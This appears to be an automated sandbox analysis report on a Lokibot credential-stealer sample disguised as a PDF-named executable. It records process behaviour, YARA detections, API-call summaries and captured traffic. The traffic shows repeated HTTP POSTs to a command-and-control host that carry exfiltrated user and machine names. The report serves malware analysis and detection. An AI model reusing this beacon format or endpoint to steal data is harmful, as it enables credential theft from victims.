May 27, 2024 02:58:51.779365063 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JqqVMQly4EgYdqgYN8rjTXUqlG1k6enm4CsCweazFAeaEVxD9vgLytDL1CfUeQBtQ0fr1qPp0rC%2FepaIL6Xwxx3XYhfuRTiG16EGHSrlUJIR4PXNFqqzkgQzbeC0SVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f17d834430a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49834	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:51.977503061 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:51.989470959 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:52.671401978 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ga%2FjSY%2Fgjb6xmGiGcTG%2F4csNPhrSwvjTY5hpbS4ny1yfKULwx%2FVHq9JC%2FZqSQRgdfT3OH2QrzkIUz%2BmCBEM92ZVWHENr7EEDPWht6TJ2v4PnkYRrkkqab3xAW7Jmnmw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f1d78e9729e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49835	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:52.872776031 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:52.885123014 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:53.585647106 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xDog6bSYeSYpyQ%2B%2BLxjnxiEwu9M%2BLHS5ybT4CD4Q9zYsHZ5YoX0yI3afJ2WKSF3gbI8nH3CzZTz1b3bXOzcWQroJB%2BTsbXzXLzHTt5dDbpkew8m%2Bofm4UXyJWbDWl2k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f233d4941a3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49836	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:53.747051001 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:53.804162979 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:54.423554897 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NYLFmuh0fiRoxX52mFrQL4smkcDSsjOvTwBgUbi5qpob0LWL64CBDeOz%2B3QybgrlLDhcsgEmFEqN29vfP0d4utPYWjH2vIEyCWnWmE5g7XWpzbldIlohZqBJ1bYv5WI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f28887fc3fa-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Target ID:	0
Start time:	20:56:49
Start date:	26/05/2024
Path:	C:\Users\user\Desktop\MV XH DOLPHINPDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"
Imagebase:	0x80000
File size:	963'072 bytes
MD5 hash:	E3D3D93759A0552C63EC2C3CCBF6C383
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:56:50
Start date:	26/05/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"
Imagebase:	0xca0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000002.00000002.3213312503.0000000003228000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	1.3%
Signature Coverage:	6.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	163

Executed Functions

Function 00083B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00083B7A
IsDebuggerPresent.KERNEL32 ref: 00083B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,001462F8,001462E0,?,?), ref: 00083BFD

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Part of subcall function 00090A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00083C26,001462F8,?,?,?), ref: 00090ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00083C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,001393F0,00000010), ref: 000BD4BC
SetCurrentDirectoryW.KERNEL32(?,001462F8,?,?,?), ref: 000BD4F4
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00135D40,001462F8,?,?,?), ref: 000BD57A
ShellExecuteW.SHELL32(00000000,?,?), ref: 000BD581

Part of subcall function 00083A58: GetSysColorBrush.USER32(0000000F), ref: 00083A62
Part of subcall function 00083A58: LoadCursorW.USER32(00000000,00007F00), ref: 00083A71
Part of subcall function 00083A58: LoadIconW.USER32(00000063), ref: 00083A88
Part of subcall function 00083A58: LoadIconW.USER32(000000A4), ref: 00083A9A
Part of subcall function 00083A58: LoadIconW.USER32(000000A2), ref: 00083AAC
Part of subcall function 00083A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00083AD2
Part of subcall function 00083A58: RegisterClassExW.USER32(?), ref: 00083B28

Part of subcall function 000839E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00083A15
Part of subcall function 000839E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00083A36
Part of subcall function 000839E7: ShowWindow.USER32(00000000,?,?), ref: 00083A4A
Part of subcall function 000839E7: ShowWindow.USER32(00000000,?,?), ref: 00083A53

Part of subcall function 000843DB: _memset.LIBCMT ref: 00084401
Part of subcall function 000843DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 000844A6

Strings

This is a third-party compiled AutoIt script., xrefs: 000BD4B4
runas, xrefs: 000BD575

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 4c121a2ebeea6ad84b4943cf5e4b0af733bfd837cd5e76d258f558a179d6180e
Instruction ID: c43491cebb933863e51c4327bc9e0f33f2ea12ad1019d7dd3c16c6fa08c7725d
Opcode Fuzzy Hash: 4c121a2ebeea6ad84b4943cf5e4b0af733bfd837cd5e76d258f558a179d6180e
Instruction Fuzzy Hash: 6651E674A04249BBCF21FBB4DC06EED7B74BB46704F144069F4D5625B2DBB48686CB22

Function 00084AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00084B2B

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

GetCurrentProcess.KERNEL32(?,0010FAEC,00000000,00000000,?), ref: 00084BF8
IsWow64Process.KERNEL32(00000000), ref: 00084BFF
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00084C45
FreeLibrary.KERNEL32(00000000), ref: 00084C50
GetSystemInfo.KERNEL32(00000000), ref: 00084C81
GetSystemInfo.KERNEL32(00000000), ref: 00084C8D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 2e562db35735439680ca5378ecb2f896c52e59645e86e8d266a7273566093065
Instruction ID: fe26c03d5ea82d7f6bcededd60844d253059d377956e65fea674dd4935ca5220
Opcode Fuzzy Hash: 2e562db35735439680ca5378ecb2f896c52e59645e86e8d266a7273566093065
Instruction Fuzzy Hash: FF91D43154ABC1DEC771DB6884615AAFFE4BF2A300B484D9ED0CB93A01D734E948C729

Function 00084FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00084EEE,?,?,00000000,00000000), ref: 00084FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00084EEE,?,?,00000000,00000000), ref: 00085010
LoadResource.KERNEL32(?,00000000,?,?,00084EEE,?,?,00000000,00000000,?,?,?,?,?,?,00084F8F), ref: 000BDD60
SizeofResource.KERNEL32(?,00000000,?,?,00084EEE,?,?,00000000,00000000,?,?,?,?,?,?,00084F8F), ref: 000BDD75
LockResource.KERNEL32(00084EEE,?,?,00084EEE,?,?,00000000,00000000,?,?,?,?,?,?,00084F8F,00000000), ref: 000BDD88

Strings

SCRIPT, xrefs: 00085006

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: e77bac91fa8bc5f14728290e797c7f8611e91f99be46e5ae6fa8d906ae3dfff5
Instruction ID: 4b108d9a6353de777e397da1ad7cfd635a503be77d1d94481d88ab5558284b3b
Opcode Fuzzy Hash: e77bac91fa8bc5f14728290e797c7f8611e91f99be46e5ae6fa8d906ae3dfff5
Instruction Fuzzy Hash: BA119A74200700AFD7319B65DC49F677BB9FBC9B12F20816CF48686AA0DBA1E8418A60

Function 000E4696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,000BE7C1), ref: 000E46A6
FindFirstFileW.KERNELBASE(?,?), ref: 000E46B7
FindClose.KERNEL32(00000000), ref: 000E46C7

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: da408e1e073abffceaacc618da4ec640e6512a8f7ebacab01d5758a4748a02df
Instruction ID: 31a10e38fb0de0a586cb9dd4ec2220e64bb083f5afe76290c50f0ac1b131fbfe
Opcode Fuzzy Hash: da408e1e073abffceaacc618da4ec640e6512a8f7ebacab01d5758a4748a02df
Instruction Fuzzy Hash: A1E0D8319104005F8220B738EC4E4EA779C9F06335F100719F975D18E0E7F0A9908596

Function 0008E800 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 000C428C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 4185291a87ed38a3f42ea827e44518db996868f8a4abcaf1a3c056df745860b6
Instruction ID: 2d798bfee995e4c8a3726221323e86e650f990febffe1253a87a36ab29753211
Opcode Fuzzy Hash: 4185291a87ed38a3f42ea827e44518db996868f8a4abcaf1a3c056df745860b6
Instruction Fuzzy Hash: E4A28D74A04245CFCB24EF58C480AAEB7F1FF49310F248069E996AB352D775ED82CB91

Function 00090B30 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00090BBB
timeGetTime.WINMM ref: 00090E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00090FB3
TranslateMessage.USER32(?), ref: 00090FC7
DispatchMessageW.USER32(?), ref: 00090FD5
Sleep.KERNEL32(0000000A), ref: 00090FDF
LockWindowUpdate.USER32(00000000,?,?), ref: 0009105A
DestroyWindow.USER32 ref: 00091066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00091080
Sleep.KERNEL32(0000000A,?,?), ref: 000C52AD
TranslateMessage.USER32(?), ref: 000C608A
DispatchMessageW.USER32(?), ref: 000C6098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 000C60AC

Strings

@COM_EVENTOBJ, xrefs: 000C591A
@TRAY_ID, xrefs: 000C5BB9
@GUI_WINHANDLE, xrefs: 000C53B9
@GUI_CTRLHANDLE, xrefs: 000C540E
@GUI_CTRLID, xrefs: 000C5364

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4003667617-3242690629
Opcode ID: c888f60cf1c6e426f90cd85dc8218adbcf3e2c5e68e9a8fe3c5f8d78bf631863
Instruction ID: 58d07a7c08e1fed4da3dee023f3e0b2928ce5041a32a2307726977eeff80d97d
Opcode Fuzzy Hash: c888f60cf1c6e426f90cd85dc8218adbcf3e2c5e68e9a8fe3c5f8d78bf631863
Instruction Fuzzy Hash: A4B2BE74608741DFDB28DF24C884FAEB7E4BF85304F14491DE49A972A2DB71E885DB82

Function 000E93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000E91E9: __time64.LIBCMT ref: 000E91F3

Part of subcall function 00085045: _fseek.LIBCMT ref: 0008505D

__wsplitpath.LIBCMT ref: 000E94BE

Part of subcall function 000A432E: __wsplitpath_helper.LIBCMT ref: 000A436E

_wcscpy.LIBCMT ref: 000E94D1
_wcscat.LIBCMT ref: 000E94E4
__wsplitpath.LIBCMT ref: 000E9509
_wcscat.LIBCMT ref: 000E951F
_wcscat.LIBCMT ref: 000E9532

Part of subcall function 000E922F: _memmove.LIBCMT ref: 000E9268
Part of subcall function 000E922F: _memmove.LIBCMT ref: 000E9277

_wcscmp.LIBCMT ref: 000E9479

Part of subcall function 000E99BE: _wcscmp.LIBCMT ref: 000E9AAE
Part of subcall function 000E99BE: _wcscmp.LIBCMT ref: 000E9AC1

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 000E96DC
_wcsncpy.LIBCMT ref: 000E974F
DeleteFileW.KERNEL32(?,?), ref: 000E9785
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 000E979B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 000E97AC
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 000E97BE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 251e5af328b77be25c954388292b4a982cd05ec40748d7b7aae7a96ddd6afcc9
Instruction ID: 2249c65f01642477feec6ff1881e0be5967b574b36a99b7808b4198b03558070
Opcode Fuzzy Hash: 251e5af328b77be25c954388292b4a982cd05ec40748d7b7aae7a96ddd6afcc9
Instruction Fuzzy Hash: 88C12BB1D00219AEDF21DFA5CC85EDEB7BDEF55300F0040AAF609E6152EB709A848F65

Function 00083015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00083074
RegisterClassExW.USER32(00000030), ref: 0008309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000830AF
InitCommonControlsEx.COMCTL32(?), ref: 000830CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000830DC
LoadIconW.USER32(000000A9), ref: 000830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00083101

Strings

AutoIt v3 GUI, xrefs: 00083090
+, xrefs: 0008305D
TaskbarCreated, xrefs: 000830A4
0, xrefs: 00083056

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 150711aa0758a4f6fab80fa6edb9d9a4a9caff07ff61d9254716ea35177055ce
Instruction ID: b11fbea16774d2b3c94ffe762d935f64792ac0a3385767bd213154034cc28613
Opcode Fuzzy Hash: 150711aa0758a4f6fab80fa6edb9d9a4a9caff07ff61d9254716ea35177055ce
Instruction Fuzzy Hash: D53158B5804349EFDB51CFA4D886AC9BFF0FB0A314F14416EE580E66A0D3B50586CF92

Function 00083041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00083074
RegisterClassExW.USER32(00000030), ref: 0008309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000830AF
InitCommonControlsEx.COMCTL32(?), ref: 000830CC
